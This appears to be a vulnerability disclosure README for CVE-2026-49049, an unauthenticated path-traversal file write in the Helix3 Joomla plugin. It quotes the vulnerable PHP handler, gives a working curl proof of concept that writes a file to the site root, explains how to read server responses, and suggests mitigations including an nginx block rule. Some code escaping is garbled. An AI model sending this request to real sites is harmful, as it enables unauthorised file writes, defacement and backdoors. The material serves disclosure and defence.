
This repository contains materials, technical analysis, and a Proof of Concept (PoC) for the critical vulnerability CVE-2026-49049 found in the outdated template framework Helix3 by JoomShaper for the Joomla CMS (versions from 1.0 to 3.1.0 inclusive).
The vulnerability is actively being exploited in the wild by automated botnets (specifically, as part of the AntonKill defacement campaign).
The issue lies in Joomla's system AJAX handler (com_ajax), which calls the onAjaxHelix3() method in the plg_ajax_helix3 plugin. The component developers did not include:
layoutName parameter.public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
To verify the vulnerability, a POST request with content type application/x-www-form-urlencoded is used. This parameter packaging method is the most effective for demonstrating the flaw.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
During penetration testing, the server may return different types of responses. Their interpretation is critical:
Server response:
{"success":true,"message":null,"messages":null,"data":[]}
Interpretation: The plugin is vulnerable, no OS restrictions. The file has been successfully created in the site root and is accessible at https://target.com. The site requires immediate cleanup and isolation.
Server response:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
Interpretation: Partial success. The Helix3 plugin logic is broken — it accepted data without authentication and attempted to open a file for writing (fopen). However, the Linux operating system blocked this action because the web server user (e.g., www-data) does not have write permissions to the site root.
Server response: Status 404 Not Found, 403 Forbidden or empty response [].
Interpretation: The plugin has been updated to a secure version (3.1.1+) where authentication checks have been added, or it has been completely removed from the CMS.
plg_ajax_helix3 plugin via the Joomla administrator panel.if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
Disclaimer: This material is provided solely for educational purposes and legitimate system security auditing (Penetration Testing). The author is not responsible for any misuse of the provided information.
| Parameter | Value / Example | Meaning for the server |
|---|
option | com_ajax | Entry point in Joomla for processing AJAX requests. |
plugin | helix3 | System identifier that forces Joomla to hand over control to the vulnerable Helix3 plugin. |
format | json | Instructs the engine to return a response in JSON format. |
-d | data[...] | Request body (Form Data), automatically interpreted by PHP into the global $_POST array. |
data[action] | save | Switch in the code. Instructs the plugin to call the file write (creation) function. |
data[layoutName] | ../../../../../../../example | Key attack vector (Path Traversal). The ../ characters force the operating system to exit the plugin's isolated folder into the site's root directory. The plugin will automatically append the .json extension. |
data[content] | {"probe":"test"} | Payload. Text data that will be physically written into the created file example.json. In real attacks, malicious defacement code or backdoors are injected here. |